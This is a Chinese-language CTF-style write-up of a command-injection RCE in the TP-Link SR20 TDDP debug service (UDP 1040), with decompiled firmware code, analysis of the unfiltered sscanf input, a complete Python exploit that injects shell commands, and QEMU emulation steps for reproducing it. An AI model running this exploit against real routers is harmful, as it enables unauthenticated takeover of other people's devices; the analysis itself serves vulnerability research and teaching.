TP-Link SR20 远程代码执行漏洞
漏洞介绍
TDDP 是 TP-Link 申请了专利的调试协议,基于 UDP 运行在 1040 端口,该漏洞存在于TP-Link 设备TDDP调试协议中。
固件下载:https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip
这个漏洞被作为2019 工控安全比赛第一场的一道固件逆向的题目。
漏洞分析
用binwalk提取固件之后找到tddp的位置,用ida加载tddp,然后根据题目的意思查找字符串CMD_。
可以找到这么多,仔细看下,可以发现这些字符串实际都是出现在一个函数里面,进入到这个函数F5直接看伪代码。可以看到比较明显的switch判断,接着输出以上字符串。按顺序来看一看判断不同进入的函数有什么问题。
int __fastcall sub_15E74(_BYTE *a1, _DWORD *a2)
{
uint32_t v2; // r0
__int16 v3; // r2
uint32_t v4; // r0
__int16 v5; // r2
_DWORD *v7; // [sp+0h] [bp-24h]
_BYTE *v8; // [sp+4h] [bp-20h]
_BYTE *v9; // [sp+Ch] [bp-18h]
_BYTE *v10; // [sp+10h] [bp-14h]
int v11; // [sp+1Ch] [bp-8h]
v8 = a1;
v7 = a2;
v10 = a1 + 0xB01B;
v9 = a1 + 82;
a1[82] = 1;
switch ( a1[0xB01C] )
{
case 4:
printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", 0x195F8, 0x2B9);
v11 = sub_AC78(v8);
break;
case 6:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
v11 = sub_9944(v8);
break;
case 7:
printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", 103928, 648);
v11 = sub_ADDC((int)v8);
if ( !v8
|| !(*((_DWORD *)v8 + 11) & 4)
|| !v8
|| !(*((_DWORD *)v8 + 11) & 8)
|| !v8
|| !(*((_DWORD *)v8 + 11) & 0x10) )
{
*((_DWORD *)v8 + 11) &= 0xFFFFFFFD;
}
*((_DWORD *)v8 + 8) = 0;
*((_DWORD *)v8 + 11) &= 0xFFFFFFFE;
break;
case 8:
printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", 103928, 702);
*((_DWORD *)v8 + 11) &= 0xFFFFFFFE;
v11 = 0;
break;
case 0xA:
printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
v11 = sub_9C24(v8);
break;
case 0xC:
printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
if ( v8 && *((_DWORD *)v8 + 11) & 2 )
{
v9[1] = 4;
v9[3] = 0;
v9[2] = 1;
v2 = htonl(0);
*((_WORD *)v9 + 2) = v2;
v9[6] = BYTE2(v2);
v9[7] = HIBYTE(v2);
v3 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
v9[8] = v10[8];
v9[9] = HIBYTE(v3);
v11 = 0;
}
else
{
*((_DWORD *)v8 + 11) &= 0xFFFFFFFE;
v11 = -10411;
}
break;
case 0xD:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
v11 = sub_A97C(v8);
break;
case 0x30:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
v11 = sub_A3C8(v8);
break;
case 0x31:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
v11 = sub_A580((int)v8);
break;
default:
printf("[%s():%d] TDDPv1: receive unknown type: %d\n", 103928, 713, (unsigned __int8)a1[45084], a2);
v9[1] = v10[1];
v9[3] = 2;
v9[2] = 2;
v4 = htonl(0);
*((_WORD *)v9 + 2) = v4;
v9[6] = BYTE2(v4);
v9[7] = HIBYTE(v4);
v5 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
v9[8] = v10[8];
v9[9] = HIBYTE(v5);
v11 = -10302;
break;
}
*v7 = ntohl(((unsigned __int8)v9[7] << 24) | ((unsigned __int8)v9[6] << 16) | ((unsigned __int8)v9[5] << 8) | (unsigned __int8)v9[4])
+ 12;
return v11;
}
在case 0xA的函数里面发现了sub_91DC函数
int __fastcall sub_9C24(_BYTE *a1)
{
__int16 v1; // r2
_BYTE *v2; // r3
unsigned int v3; // r0
uint32_t v4; // r0
_BYTE *v5; // r3
int v6; // r3
uint32_t v7; // r0
_BYTE *v8; // r3
uint32_t hostlong; // [sp+8h] [bp-24h]
char s; // [sp+Ch] [bp-20h]
_BYTE *v12; // [sp+18h] [bp-14h]
_BYTE *v13; // [sp+1Ch] [bp-10h]
_BYTE *v14; // [sp+20h] [bp-Ch]
void *dest; // [sp+24h] [bp-8h]
v14 = a1 + 45083;
dest = a1 + 82;
v13 = a1 + 45083;
v12 = a1 + 82;
a1[83] = 10;
v12[2] = 2;
v1 = ((unsigned __int8)v13[9] << 8) | (unsigned __int8)v13[8];
v2 = v12;
v12[8] = v13[8];
v2[9] = HIBYTE(v1);
if ( sub_91DC("getfirm PRODUCTID > /tmp/productid-tmp") == -1 )
{
v12[3] = 3;
v7 = htonl(0);
v8 = v12;
v12[4] = v7;
v8[5] = BYTE1(v7);
v8[6] = BYTE2(v7);
v8[7] = HIBYTE(v7);
v6 = sub_13018(-1, 94600);
}
else
{
if ( *v13 == 1 )
dest = (char *)dest + 12;
else
dest = (char *)dest + 28;
snprintf(&s, 0xBu, "0x00000000");
printf("[%s():%d] product id is: %s\n", 98256, 239, &s);
v3 = strtoul(&s, 0, 16);
hostlong = htonl(v3);
printf("[%s():%d] product id is: %08x\n", 98256, 242, hostlong);
memcpy(dest, &hostlong, 4u);
v12[3] = 0;
v4 = htonl(4u);
v5 = v12;
v12[4] = v4;
v5[5] = BYTE1(v4);
v5[6] = BYTE2(v4);
v5[7] = HIBYTE(v4);
v6 = 0;
}
return v6;
}
进入到这个sub_91DC函数里面,可以看到一个execve的系统调用命令,它的参数就是传进来的参数a1。但从前面的代码来看,传入的参数是”getfirm PRODUCTID >/tmp/productid-tmp”,这个参数并不受我们控制,所以无法达到目的。但也不是没有收获,至少发现了这个有execve命令的sub_91DC函数,关注这个函数,只需要找到能控制传入的参数就可以getshell。
signed int sub_91DC(const char *a1, ...)
{
char *argv; // [sp+8h] [bp-11Ch]
int v4; // [sp+Ch] [bp-118h]
char *v5; // [sp+10h] [bp-114h]
int v6; // [sp+14h] [bp-110h]
int stat_loc; // [sp+18h] [bp-10Ch]
char s; // [sp+1Ch] [bp-108h]
__pid_t pid; // [sp+11Ch] [bp-8h]
const char *varg_r0; // [sp+128h] [bp+4h]
va_list varg_r1; // [sp+12Ch] [bp+8h]
va_start(varg_r1, a1);
varg_r0 = a1;
pid = 0;
stat_loc = 0;
argv = 0;
v4 = 0;
v5 = 0;
v6 = 0;
vsprintf(&s, a1, varg_r1);
printf("[%s():%d] cmd: %s \r\n", 94112, 72, &s);
pid = fork();
if ( pid < 0 )
return -1;
if ( !pid )
{
argv = "sh";
v4 = 94028;
v5 = &s;
v6 = 0;
execve("/bin/sh", &argv, 0);
exit(127);
}
while ( waitpid(pid, &stat_loc, 0) == -1 )
{
if ( *_errno_location() != 4 )
return -1;
}
return 0;
}
回到最前面,继续往下找。一直找到了“case 0x31”的位置,又发现sub_91DC这个函数,并且这个时候它的参数是可控的,往前找下这个参数是怎么来的。
int __fastcall sub_A580(int a1)
{
void *v1; // r0
uint32_t v2; // r0
_BYTE *v3; // r3
__int16 v4; // r2
_BYTE *v5; // r3
int v6; // r3
int v7; // r0
int v10; // [sp+4h] [bp-E8h]
char name; // [sp+8h] [bp-E4h]
char v12; // [sp+48h] [bp-A4h]
char s; // [sp+88h] [bp-64h]
_BYTE *v14; // [sp+C8h] [bp-24h]
_BYTE *v15; // [sp+CCh] [bp-20h]
int v16; // [sp+D0h] [bp-1Ch]
int v17; // [sp+D4h] [bp-18h]
char *v18; // [sp+D8h] [bp-14h]
int v19; // [sp+DCh] [bp-10h]
int v20; // [sp+E0h] [bp-Ch]
char *v21; // [sp+E4h] [bp-8h]
v10 = a1;
v20 = 1;
v19 = 4;
memset(&s, 0, 0x40u);
memset(&v12, 0, 0x40u);
v1 = memset(&name, 0, 0x40u);
v18 = 0;
v17 = luaL_newstate(v1);
v21 = (char *)(v10 + 0xB01B);
v16 = v10 + 0x52;
v15 = (_BYTE *)(v10 + 0xB01B);
v14 = (_BYTE *)(v10 + 0x52);
*(_BYTE *)(v10 + 0x53) = '1';
v2 = htonl(0);
v3 = v14;
v14[4] = v2;
v3[5] = BYTE1(v2);
v3[6] = BYTE2(v2);
v3[7] = HIBYTE(v2);
v14[2] = 2;
v4 = ((unsigned __int8)v15[9] << 8) | (unsigned __int8)v15[8];
v5 = v14;
v14[8] = v15[8];
v5[9] = HIBYTE(v4);
if ( *v15 == 1 )
{
v21 += 12;
v16 += 12;
}
else
{
v21 += 28;
v16 += 28;
}
if ( !v21 )
goto LABEL_20;
sscanf(v21, "%[^;];%s", &s, &v12);
if ( !s || !v12 )
{
printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
LABEL_20:
v14[3] = 3;
return sub_13018(-10303, 94892);
}
v18 = inet_ntoa(*(struct in_addr *)(v10 + 4));
sub_91DC("cd /tmp;tftp -gr %s %s &", &s, v18);
sprintf(&name, "/tmp/%s", &s);
while ( v19 > 0 )
{
sleep(1u);
if ( !access(&name, 0) )
break;
--v19;
}
if ( !v19 )
{
printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
goto LABEL_20;
}
if ( v17 )
{
luaL_openlibs(v17);
v6 = luaL_loadfile(v17, &name);
if ( !v6 )
v6 = lua_pcall(v17, 0, -1, 0);
lua_getfield(v17, -10002, 94880, v6);
lua_pushstring(v17, &v12);
lua_pushstring(v17, v18);
lua_call(v17, 2, 1);
v7 = lua_tonumber(v17, -1);
v20 = sub_16EC4(v7);
lua_settop(v17, -2);
}
lua_close(v17);
if ( v20 )
goto LABEL_20;
v14[3] = 0;
return 0;
}
可以看到这个参数s是由这句话赋值的
sscanf(v21, "%[^;];%s", &s, &v12);
sscanf也是一个字符串格式化函数,这个函数的声明如下
int sscanf(const char *str, const char *format, ...)
参数:
str -- 这是 C 字符串,是函数检索数据的源。
format -- 这是 C 字符串,包含了以下各项中的一个或多个:空格字符、非空格字符 和
format 说明符。format 说明符形式为[=%[*][width][modifiers]type=],具体讲解如下:
sscanf(v21, “%[^;];%s”, &s, &v12);所以这句代码的意思是把v21按照后面格式化字符串进行分割。“%[^;]”则是过滤了“;”符号。这里就有问题了,只是过滤了“;”而没有过滤“ | ”或者“&”这样就可以实现命令注入的攻击。再回上去找v21是什么。 |
v10 = a1;
v21 = (char *)(v10 + 0xB01B);
可以找到v21是这个函数的参数的0xB01B位。再回到前一个函数,a1也是前一个函数sub_15E74的第一个参数。继续查看交叉引用找前一个函数。
v18 = recvfrom(*(_DWORD *)(v14 + 0x24), (void *)(v14 + 0xB01B), 0xAFC8u, 0, &addr, &addr_len);
v21 = sub_15E74((_BYTE *)v14, &n);
这个recvfrom函数是一个接收函数。
ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socket_t *fromlen);
参数:
sockfd:标识一个已连接套接口的描述字。
buf:接收数据缓冲区。
len:缓冲区长度。
flags:调用操作方式。是以下一个或者多个标志的组合体,可通过“ | ”操作符连在一起
函数说明:recvfrom()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
所以v14 + 0xB01B接收到socket传来的值。再往前可以在sub_16ACC函数中找到初始化。
memset((char *)s + 0xB01B, 0, 0xAFC9u);
exp编写
首先是switch ( a1[0xB01C])要为0x31,接着后面一段代码,先让v15等于1然后再越过12个字节之后用sscanf进行分割命令。所以payload前面是‘x01x31’后面在填充到12个字节。在 ; 最后还需要填充字符,因为在使用 sscanf 函数进行分割命令后会判断 ; 后面的内容是否为空。
v10 = a1;
v15 = (_BYTE *)(v10 + 0xB01B);
v21 = (char *)(v10 + 0xB01B);
if ( *v15 == 1 )
{
v21 += 12;
v16 += 12;
}
else
{
v21 += 28;
v16 += 28;
}
sscanf(v21, "%[^;];%s", &s, &v12);
最后的exp,sys.argv[]用来接收输入的参数,tddp的端口是1040
from pwn import *
from socket import *
import sys
tddp_port = 1040
s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)
s_recv.bind(('',12345))
payload = '\x01\x31'.ljust(12,'\x00')
payload+= "aaa|%s&&echo ;aaa"%(sys.argv[2])
print payload
s_send.sendto(payload,(sys.argv[1],tddp_port))
s_send.close()
res,addr= s_recv.recvfrom(1024)
print res
漏洞复现
安装完qemu-arm之后从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件:
debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M
initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M
vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M
把以上三个文件放在同一个目录执行以下命令
sudo tunctl -t tap0 -u `whoami` # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡
$ sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd
initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2
-append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net
tap,ifname=tap0,script=no,downscript=no -nographic
进入成功之后的界面,用户名和密码都是root。
再配置网卡
ifconfig eth0 10.10.10.2/24
现在需要把从固件中提取出的文件系统打包后上传到 QEMU 虚拟机中,先打包整个文件系统。
tar -cjpf squashfs-root.tar.bz2 squashfs-root/
使用 Python 搭建简易 HTTP Server
$ python -m SimpleHTTPServer
在 QEMU 虚拟机中下载上面打包好的文件
wget http://10.10.10.1:8000/squashfs-root.tar.bz2
之后就是挂载,切换根目录固件文件系统
然后直接运行tddp服务。
最后运行exp进行攻击
输出date
查看当前开放的端口,telneted没有打开。
打开telnetd端口